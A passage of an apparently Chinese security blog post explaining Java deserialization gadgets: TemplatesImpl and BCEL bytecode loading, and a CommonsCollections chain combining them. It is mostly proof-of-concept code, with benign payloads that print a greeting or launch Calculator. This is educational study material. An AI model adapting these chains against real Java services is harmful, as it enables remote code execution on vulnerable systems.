        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\u8fd9\u4e2a\u7c7b\u4e2d\u5b9a\u4e49\u4e86\u4e00\u4e2a\u5185\u90e8\u7c7bTransletClassLoader<\/p>\n\n\n\n
        static final class TransletClassLoader extends ClassLoader {\n    private final Map<String,Class> _loadedExternalExtensionFunctions;\n    TransletClassLoader(ClassLoader parent) {\n        super(parent);\n        _loadedExternalExtensionFunctions = null;\n    }\n    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {\n        super(parent);\n        _loadedExternalExtensionFunctions = mapEF;\n    }\n    public Class<?> loadClass(String name) throws ClassNotFoundException {\n        Class<?> ret = null;\n        \/\/ The _loadedExternalExtensionFunctions will be empty when the\n        \/\/ SecurityManager is not set and the FSP is turned off\n        if (_loadedExternalExtensionFunctions != null) {\n            ret = _loadedExternalExtensionFunctions.get(name);\n        }\n        if (ret == null) {\n            ret = super.loadClass(name);\n        }\n        return ret;\n    }\n    \/**\n     * Access to final protected superclass member from outer class.\n     *\/\n    Class defineClass(final byte[] b) {\n        return defineClass(null, b, 0, b.length);\n    }\n}\n<\/code><\/pre>\n\n\n\n
        \u8fd9\u4e2a\u7c7b\u91cc\u91cd\u8f7d\u4e86defineClass\u65b9\u6cd5\uff0c\u5e76\u4e14\u8fd9\u91cc\u6ca1\u6709\u663e\u5f0f\u5730\u58f0\u660e\u5176\u5b9a\u4e49\u57df\u3002Java\u4e2d\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u5982\u679c\u4e00\u4e2a\u65b9\u6cd5\u6ca1\u6709\u663e\u793a\u58f0\u660e\u4f5c\u7528\u57df\uff0c\u5176\u4f5c\u7528\u57df\u4e3adefault\u3002\u6240\u4ee5\u4e5f\u5c31\u662f\u8bf4\u8fd9\u91cc\u7684defineClass\u7531\u5176\u7236\u7c7b\u7684protected\u7c7b\u578b\u53d8\u6210\u4e86\u4e00\u4e2adefault\u7c7b\u578b\u7684\u65b9\u6cd5\uff0c\u53ef\u4ee5\u88ab\u7c7b\u5916\u90e8\u8c03\u7528<\/p>\n\n\n\n
        \u4eceTransletClassLoader#defineClass()\u5411\u524d\u8ffd\u6eaf\u4e00\u4e0b\u8c03\u7528\u94fe<\/p>\n\n\n\n
        TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> \nTemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()<\/code><\/pre>\n\n\n\n
        \u8ffd\u5230\u6700\u524d\u9762\u4e24\u4e2a\u65b9\u6cd5TemplatesImpl#getOutputProperties()\u3001TemplatesImpl#newTransformer\uff0c\u8fd9\u4e24\u8005\u7684\u4f5c\u7528\u57df\u662fpublic\uff0c\u53ef\u4ee5\u88ab\u5916\u90e8\u8c03\u7528\u3002\u5c1d\u8bd5\u7528newTransformer()\u6784\u9020\u7b80\u5355\u7684POC<\/p>\n\n\n\n
        public static void main(String[] args) throws Exception {\n    \/\/ source: bytecodes\/HelloTemplateImpl.java\n    byte[] code = \nBase64.getDecoder().decode(\"yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA\nCXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP\nTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0\naW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm\nKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y\nZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw\nYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp\nbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb\nDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB\nAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj\ndFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z\nbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry\nZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n\nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA\nAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA\nAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA\nDwABABAAAAACABE=\");\n    TemplatesImpl obj = new TemplatesImpl();\n    setFieldValue(obj, \"_bytecodes\", new byte[][] {code});\n    setFieldValue(obj, \"_name\", \"HelloTemplatesImpl\");\n    setFieldValue(obj, \"_tfactory\", new TransformerFactoryImpl());\n    obj.newTransformer();\n}<\/code><\/pre>\n\n\n\n
        \u5176\u4e2d\uff0csetFieldValue\u65b9\u6cd5\u7528\u6765\u8bbe\u7f6e\u79c1\u6709\u5c5e\u6027\uff0c\u8fd9\u91cc\u8bbe\u7f6e\u4e86\u4e09\u4e2a\u5c5e\u6027\uff1a_bytecodes\u3001_name\u3001_tfactory\u3002_bytecodes\u662f\u7531\u5b57\u8282\u7801\u7ec4\u6210\u7684\u6570\u7ec4\uff1b_name\u53ef\u4ee5\u662f\u4efb\u610f\u5b57\u7b26\uff0c\u53ea\u8981\u4e0d\u4e3anull\u5373\u53ef\uff1b_tfactory\u9700\u8981\u662f\u4e00\u4e2aTransformerFactoryImpl\u5bf9\u8c61\uff0c\u56e0\u4e3aTemplateImpl#defineTransletClasses()\u65b9\u6cd5\u91cc\u6709\u8c03\u7528\u5230_tfactory.getExternalExtentionsMap()\uff0c\u5982\u679c\u662fnull\u4f1a\u51fa\u9519<\/p>\n\n\n\n
        \u4e3a\u4ec0\u4e48\u9700\u8981\u8fdb\u884c\u4e00\u6b21base64decode\uff0c\u662f\u56e0\u4e3aJava\u4ee3\u7801\u91cc\u4e0d\u65b9\u4fbf\u76f4\u63a5\u5199\u4e8c\u8fdb\u5236\u5b57\u8282\uff0c\u6240\u4ee5\u5148\u628a.class\u6587\u4ef6\u8f6c\u6210base64\u5b57\u7b26\u4fdd\u5b58\u5230\u4ee3\u7801\u91cc\uff0c\u8fd0\u884c\u65f6\u518ddecode\u56de\u539f\u59cb\u5b57\u8282\u7801\u3002<\/strong><\/p>\n\n\n\n
        HelloTemplatesImpl.class \u539f\u59cb\u5b57\u8282\u7801\n        \u2193\nBase64 \u7f16\u7801\n        \u2193\n\u53d8\u6210\u4e00\u957f\u4e32\u5b57\u7b26\u4e32 \"yv66vgAAADQ...\"\n        \u2193\n\u5199\u8fdb Java \u6e90\u7801\n        \u2193\nBase64 \u89e3\u7801\n        \u2193\n\u8fd8\u539f\u6210 byte[] code\n        \u2193\n\u585e\u8fdb TemplatesImpl._bytecodes<\/code><\/pre>\n\n\n\n
        \u53e6\u5916\uff0c\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0cTemplateImpl\u4e2d\u5bf9\u52a0\u8f7d\u7684\u5b57\u8282\u7801\u662f\u6709\u4e00\u5b9a\u8981\u6c42\u7684\uff1a\u8fd9\u4e2a\u5b57\u8282\u7801\u5bf9\u5e94\u7684\u7c7b\u5fc5\u987b\u662fcom.sun.org.apache.xalan.internet.xsltc.runtime.AbstractTranslet\u7684\u5b50\u7c7b<\/p>\n\n\n\n
        \u6784\u9020\u4e00\u4e2a\u7279\u6b8a\u7684\u7c7b\uff1a<\/p>\n\n\n\n
        import com.sun.org.apache.xalan.internal.xsltc.DOM;\nimport com.sun.org.apache.xalan.internal.xsltc.TransletException;\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;\nimport com.sun.org.apache.xml.internal.serializer.SerializationHandler;\npublic class HelloTemplatesImpl extends AbstractTranslet {\n    public void transform(DOM document, SerializationHandler[] handlers)\n            throws TransletException {}\n    public void transform(DOM document, DTMAxisIterator iterator,\n                          SerializationHandler handler) throws TransletException {}\n    public HelloTemplatesImpl() {\n        super();\n        System.out.println(\"Hello TemplatesImpl\");\n    }\n}<\/code><\/pre>\n\n\n\n
        \u5176\u7ee7\u627f\u4e86AbstractTranslet\u7c7b\uff0c\u5e76\u5728\u6784\u9020\u51fd\u6570\u91cc\u63d2\u5165Hello\u7684\u8f93\u51fa\u3002\u5c06\u5176\u7f16\u8bd1\u6210\u5b57\u8282\u7801\uff0c\u5373\u53ef\u88abTemplateImpl\u6267\u884c<\/p>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u5229\u7528BCEL Class Loader\u52a0\u8f7d\u5b57\u8282\u7801<\/h2>\n\n\n\n
        BCEL\u5168\u540d\u5e94\u8be5\u662fApache Commons BCEL\uff0c\u5c5e\u4e8eApache Commons\u9879\u76ee\u4e0b\u7684\u4e00\u4e2a\u5b50\u9879\u76ee\uff0c\u4f46\u5176\u56e0\u4e3a\u88abApache Xalan\u6240\u4f7f\u7528\uff0c\u800cApache Xalan\u53c8\u662fJava\u5185\u90e8\u5bf9\u4e8eJAXP\u7684\u5b9e\u73b0\uff0c\u6240\u4ee5BCEL\u4e5f\u88ab\u5305\u542b\u5728\u4e86JDK\u7684\u539f\u751f\u5e93\u4e2d\u3002<\/p>\n\n\n\n
        JDK\u4f1a\u5c06BCEL\u653e\u5230\u81ea\u5df1\u7684\u4ee3\u7801\u4e2d\uff0c\u4e3b\u8981\u539f\u56e0\u662f\u4e3a\u4e86\u652f\u6491Java XML\u76f8\u5173\u7684\u529f\u80fd\u3002\u51c6\u786e\u6765\u8bf4\uff0cJava XML\u529f\u80fd\u5305\u542b\u4e86JAXP\u89c4\u8303\uff0c\u800cJava\u4e2d\u81ea\u5e26\u7684JAXP\u5b9e\u73b0\u4f7f\u7528Apache Xerces\u548cApache Xalan\uff0cApache Xalan\u53c8\u4f9d\u8d56\u4e86BCEL\uff0c\u6240\u4ee5BCEL\u4e5f\u88ab\u653e\u5165\u4e86\u6807\u51c6\u5e93\u4e2d\u3002<\/p>\n\n\n\n
        JAXP\u5168\u540d\u662fJava API for XML Processing\uff0c\u4ed6\u662fJava\u5b9a\u4e49\u7684\u4e00\u7cfb\u5217\u63a5\u53e3\uff0c\u7528\u4e8e\u5904\u7406XML\u76f8\u5173\u7684\u903b\u8f91\u3002Apache Xalan\u5b9e\u73b0\u4e86\u5176\u4e2dXSLT\u76f8\u5173\u7684\u90e8\u5206\uff0c\u5176\u4e2d\u5305\u62ecxsltc compiler\u3002<\/p>\n\n\n\n
        XSLT\uff08\u6269\u5c55\u6837\u5f0f\u8868\u8f6c\u6362\u8bed\u8a00\uff09\u662f\u4e00\u79cd\u53ef\u4e3a\u6269\u5c55\u7f6e\u6807\u8bed\u8a00\u63d0\u4f9b\u8868\u8fbe\u5f62\u5f0f\u8bbe\u8ba1\u7684\u8ba1\u7b97\u673a\u8bed\u8a00\uff0c\u4e3b\u8981\u7528\u4e8e\u5c06XML\u8f6c\u6362\u6210\u5176\u4ed6\u683c\u5f0f\u7684\u6570\u636e\u3002\u65e2\u7136\u662f\u4e00\u4eec\u52a8\u6001”\u8bed\u8a00”\uff0c\u5728Java\u4e2d\u5fc5\u7136\u4f1a\u5148\u88ab\u7f16\u8bd1\u6210Java\uff0c\u624d\u80fd\u591f\u6267\u884c\u3002<\/p>\n\n\n\n
        XSLTC Compiler\u5c31\u662f\u4e00\u4e2a\u547d\u4ee4\u884c\u7f16\u8bd1\u5668\uff0c\u53ef\u4ee5\u5c06\u4e00\u4e2axsl\u6587\u4ef6\u7f16\u8bd1\u6210\u4e00\u4e2aclass\u6587\u4ef6\u6216jar\u6587\u4ef6\uff0c\u7f16\u8bd1\u540e\u7684class\u88ab\u79f0\u4e3atranslet\uff0c\u53ef\u4ee5\u5728\u540e\u7eed\u7528\u4e8e\u5bf9XML\u6587\u4ef6\u7684\u8f6c\u6362\u3002\u5176\u5b9e\u5c31\u662f\u5c06XSLT\u7684\u529f\u80fd\u8f6c\u5316\u6210\u4e86Java\u4ee3\u7801\uff0c\u4f18\u5316\u6267\u884c\u901f\u5ea6\uff0c\u5982\u679c\u6211\u4eec\u4e0d\u4f7f\u7528\u8fd9\u4e2a\u547d\u4ee4\u884c\u7f16\u8bd1\u5668\u8fdb\u884c\u7f16\u8bd1\uff0cJava\u5185\u90e8\u4e5f\u4f1a\u5728\u8fd0\u884c\u8fc7\u7a0b\u4e2d\u5b58\u5728\u7f16\u8bd1\u7684\u8fc7\u7a0b\u3002<\/p>\n\n\n\n
        \u5c1d\u8bd5\u4f7f\u7528\u672c\u5730\u7684Java\u6765\u7f16\u8bd1\u4e00\u4e0bhello.xsl<\/p>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u53ef\u89c1\uff0c\u4ecehello.xsl\u751f\u6210\u4e86hello.class\uff0c\u53cd\u7f16\u8bd1\u8fd9\u4e2aclass\u5373\u53ef\u770b\u5230\u6e90\u4ee3\u7801\u3002<\/p>\n\n\n\n
        \u53cd\u5e8f\u5217\u5316\u65f6\u5e38\u7528\u7684\u53e6\u4e00\u4e2a\u7c7bcom.sun.org.apache.xalan.internal.xsltc.trax.TemplateImpl\uff0c\u5728defineClass\u4e2d\u9700\u8981\u7684\u5b57\u8282\u7801\u6240\u5bf9\u5e94\u7684\u57fa\u7c7b\uff0c\u5c31\u662f\u8fd9\u91cc\u7684com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTrasnlet<\/p>\n\n\n\n
        TemplatesImpl\u662f\u5bf9JAXP\u6807\u51c6\u4e2djava.xml.transform.Templates\u63a5\u53e3\u7684\u5b9e\u73b0\uff0cXSLT\u5728\u4f7f\u7528\u65f6\u4f1a\u5148\u7f16\u8bd1\u6210Java\u5b57\u8282\u7801\uff0c\u8fd9\u4e5f\u5c31\u662f\u4e3a\u4ec0\u4e48TemplatesImpl\u4f1a\u4f7f\u7528defineClass\u7684\u539f\u56e0\u3002<\/p>\n\n\n\n
        \u56e0\u4e3a\u9700\u8981”\u7f16\u8bd1”XSL\u6587\u4ef6\uff0c\u5b9e\u9645\u4e0a\u6838\u5fc3\u662f\u52a8\u6001\u751f\u6210Java\u5b57\u8282\u7801\uff0c\u800cBCEL\u6b63\u65f6\u4e00\u4e2a\u5904\u7406\u5b57\u8282\u7801\u7684\u5e93\uff0c\u6240\u4ee5Apache Xalan\u662f\u4f9d\u8d56BCEL\u7684\u3002<\/p>\n\n\n\n
        \u4e86\u89e3\u5b8c\u80cc\u666f\uff0c\u6765\u770b\u5229\u7528\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7BCEL\u63d0\u4f9b\u7684\u4e24\u4e2a\u7c7bRepository\u548cUtility\u6765\u5229\u7528\uff1aRepository\u7528\u4e8e\u5c06\u4e00\u4e2aJava Class\u5148\u8f6c\u6362\u6210\u539f\u751f\u5b57\u8282\u7801\uff0c\u5f53\u7136\u8fd9\u91cc\u4e5f\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528javac\u547d\u4ee4\u6765\u7f16\u8bd1Java\u6587\u4ef6\u751f\u6210\u5b57\u8282\u7801\uff1bUtility\u7528\u4e8e\u5c06\u539f\u751f\u7684\u5b57\u8282\u7801\u8f6c\u6362\u6210BCEL\u683c\u5f0f\u7684\u5b57\u8282\u7801<\/p>\n\n\n\n
        package com.govuln;\nimport com.sun.org.apache.bcel.internal.classfile.JavaClass;\nimport com.sun.org.apache.bcel.internal.classfile.Utility;\nimport com.sun.org.apache.bcel.internal.Repository;\npublic class HelloBCEL {\n    public static void main(String []args) throws Exception {\n        JavaClass cls = Repository.lookupClass(evil.Hello.class);\n        String code = Utility.encode(cls.getBytes(), true);\n        System.out.println(code);\n    }\n}<\/code><\/pre>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u800cBCEL Class Loader\u7528\u4e8e\u52a0\u8f7d\u8fd9\u4e32\u7279\u6b8a\u7684”\u5b57\u8282\u7801”\uff0c\u5e76\u53ef\u4ee5\u6267\u884c\u5176\u4e2d\u7684\u4ee3\u7801<\/p>\n\n\n\n
        package client;\n\nimport com.sun.org.apache.bcel.internal.classfile.JavaClass;\nimport com.sun.org.apache.bcel.internal.classfile.Utility;\nimport com.sun.org.apache.bcel.internal.Repository;\nimport com.sun.org.apache.bcel.internal.util.ClassLoader;\npublic class HelloBCEL {\n    public static void main(String []args) throws Exception {\n        decode();\n    }\n\n    public static void encode() throws Exception{\n        JavaClass cls = Repository.lookupClass(client.Hello.class);\n        String code = Utility.encode(cls.getBytes(), true);\n        System.out.println(code);\n    }\n\n    public static void decode() throws Exception{\n        new ClassLoader().loadClass(\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$90MK$c3$40$Q$86$dfm$d3$a6M$d3$P$5b$eb$b7$a2$b7$d6$83$b9x$ab$e8A$Q$PA$85H$3co$d2$a5n$d9d$r$dd$I$fe$y$3d$ux$f0$H$f8$a3$c4I$f4P$c1$j$98$dd$f7$99$99$97a$3f$bf$de$3f$A$ic$cfA$j$bd$sV$d0o$60$e0$60$VC$hk6$d6$Z$ea$t2$95$e6$94$a1$3a$g$87$M$d6$b9$9e$K$86$ae$_Sq$95$t$91$c8ny$a4$88$f4$7d$js$V$f2L$W$fa$XZ$e6$5e$$$Y$3a$7e$ac$a4H$8dw$v$94$d2$T$G$t$d0y$W$8b$LY49$r$3d$9a$f3G$ee$c2F$c3$c6$86$8bMl1$b4$ca$ca$fe$9d$ce$d4$d4$c6$b6$8b$j$ec2$b8$cbf$M$bdb$d0S$3c$9dy$d7$d1$5c$c4$e6$P$K$9e$WF$q$b4$bd$ce$a90$f4$cb$8a$d4$deM$sS$T$98L$f0$84$f6$Z$fc$83$Z$ec$87B$a9$94$e6F$fe$92$a5$n$3c$9b$8cC$i$a0F$ffV$iFA$abSn$92$3aC$85$5e$40$fb$f0$N$ec$F$95$7e$f5$V$d63$81$K$i$ca$jT$v$5b$U5$b8d$d0$o$e5$fe$M$d0$dd$$$ed$3aew$f7$h$de$f9v$ff$a2$B$A$A\").newInstance();\n    }\n}\n<\/code><\/pre>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
        \u4f46\u662f\u5728Java 8u251\u7684\u66f4\u65b0\u4e2d\uff0c\u8fd9\u4e2aClass Loader\u88ab\u79fb\u9664\u4e86\u3002<\/p>\n\n\n\n
        CC3<\/h1>\n\n\n\n
        TemplateImpl\u662f\u4e00\u4e2a\u53ef\u4ee5\u52a0\u8f7d\u5b57\u8282\u7801\u7684\u7c7b\uff0c\u901a\u8fc7\u8c03\u7528\u5176newTransformer()\u65b9\u6cd5\uff0c\u5373\u53ef\u6267\u884c\u8fd9\u6bb5\u5b57\u8282\u7801\u7684\u7c7b\u6784\u9020\u5668\u3002<\/p>\n\n\n\n
        \n\n\n\n
        \u666e\u901a\u7684\u6784\u9020\u65b9\u6cd5\uff1a\u5b9e\u4f8b\u6784\u9020\u5668<init><\/p>\n\n\n\n
        public class Hello {\n    public Hello() {\n        System.out.println(\"Hello \u6784\u9020\u65b9\u6cd5\u6267\u884c\");\n    }\n}<\/code><\/pre>\n\n\n\n
        \u7f16\u8bd1\u6210\u5b57\u8282\u7801\u540e\uff0c\u53d8\u6210Hello.<init>()\uff0c\u5176\u4f5c\u7528\u662f\uff1a\u521b\u5efa\u5bf9\u8c61\u65f6\u521d\u59cb\u5316\u8fd9\u4e2a\u5bf9\u8c61new Hello(); ->Hello.()<\/p>\n\n\n\n
        \u7c7b\u6784\u9020\u5668\uff1a\u7c7b\u521d\u59cb\u5316\u65b9\u6cd5<clinit><\/p>\n\n\n\n
        public class Hello {\n    static {\n        System.out.println(\"\u7c7b\u521d\u59cb\u5316\u6267\u884c\");\n    }\n}<\/code><\/pre>\n\n\n\n
        \u7f16\u8bd1\u6210\u5b57\u8282\u7801\u540e\uff0c\u53d8\u6210Hello.<clinit>()\uff0c\u5176\u4f5c\u7528\u662f\u7c7b\u521d\u59cb\u5316\u7684\u65f6\u5019\u6267\u884cstatic\u4ee3\u7801\u5757\u3001static\u5b57\u6bb5\u521d\u59cb\u5316<\/p>\n\n\n\n
        \n\n\n\n
        CC1\u4e2d\u7ed9\u8fc7\u4e00\u4e2ademo\u901a\u8fc7TransformedMap\u6267\u884c\u4efb\u610fJava\u65b9\u6cd5<\/p>\n\n\n\n
        import org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n \nimport java.util.HashMap;\nimport java.util.Map;\n \npublic class CommonCollections1 {\n    public static void main(String[] args) throws Exception {\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.getRuntime()),\n                new InvokerTransformer(\"exec\", new Class[]{String.class}, \nnew Object[]\n{\"\/System\/Applications\/Calculator.app\/Contents\/MacOS\/Calculator\"}),\n        };\n \n        Transformer transformerChain = new \nChainedTransformer(transformers);\n \n        Map innerMap = new HashMap();\n        Map outerMap = TransformedMap.decorate(innerMap, null, \ntransformerChain);\n        outerMap.put(\"test\", \"xxxx\");\n    }\n}<\/code><\/pre>\n\n\n\n
        \u524d\u9762\u4e5f\u7ed9\u51fa\u4e86\u5229\u7528TemplateImpl\u52a8\u6001\u52a0\u8f7d\u5b57\u8282\u7801\u7684\u65b9\u6cd5<\/p>\n\n\n\n
        \/\/ source: bytecodes\/HelloTemplateImpl.java\nbyte[] code = \nBase64.getDecoder().decode(\"yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA\nCXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP\nTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0\naW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm\nKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y\nZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw\nYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp\nbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb\nDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB\nAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj\ndFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z\nbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry\nZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n\nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA\nAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA\nAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA\nDwABABAAAAACABE=\");\nTemplatesImpl obj = new TemplatesImpl();\nsetFieldValue(obj, \"_bytecodes\", new byte[][] {code});\nsetFieldValue(obj, \"_name\", \"HelloTemplatesImpl\");\nsetFieldValue(obj, \"_tfactory\", new TransformerFactoryImpl());\nobj.newTransformer();<\/code><\/pre>\n\n\n\n
        \u53ea\u8981\u7ed3\u5408\u8fd9\u4e24\u6bb5POC\uff0c\u5373\u53ef\u5bb9\u6613\u5730\u6539\u9020\u51fa\u4e00\u4e2a\u6267\u884c\u4efb\u610f\u5b57\u8282\u7801\u7684CommonsCollections\u5229\u7528\u94fe\uff0c\u53ea\u9700\u8981\u5c06\u7b2c\u4e00\u4e2ademo\u4e2dinvokerTransformer\u6267\u884c\u7684\u65b9\u6cd5\u6539\u6210TemplateImpl::newTransformer()<\/strong><\/p>\n\n\n\n
        Transformer[] transformers = new Transformer[]{\nnew ConstantTransformer(obj),\nnew InvokerTransformer(\"newTransformer\", null, null)\n};<\/code><\/pre>\n\n\n\n
        \u6539\u9020\u540e\u7684\u5b8c\u6574POC<\/p>\n\n\n\n
        package client;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\nimport org.apache.commons.collections.Transformer;\nimport java.lang.reflect.Field;\nimport java.util.Base64;\nimport java.util.HashMap;\nimport java.util.Map;\npublic class CommonsCollectionsIntro2 {\n    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n    public static void main(String[] args) throws Exception {\n\/\/ source: bytecodes\/HelloTemplateImpl.java\n        byte[] code = Base64.getDecoder().decode(\"yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=\");\n        TemplatesImpl obj = new TemplatesImpl();\n        setFieldValue(obj, \"_bytecodes\", new byte[][] {code});\n        setFieldValue(obj, \"_name\", \"HelloTemplatesImpl\");\n        setFieldValue(obj, \"_tfactory\", new TransformerFactoryImpl());\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(obj),\n                new InvokerTransformer(\"newTransformer\", null, null)\n        };\n        Transformer transformerChain = new ChainedTransformer(transformers);\n        Map innerMap = new HashMap();\n        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);\n        outerMap.put(\"test\", \"xxxx\");\n    }\n}\n<\/code><\/pre>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
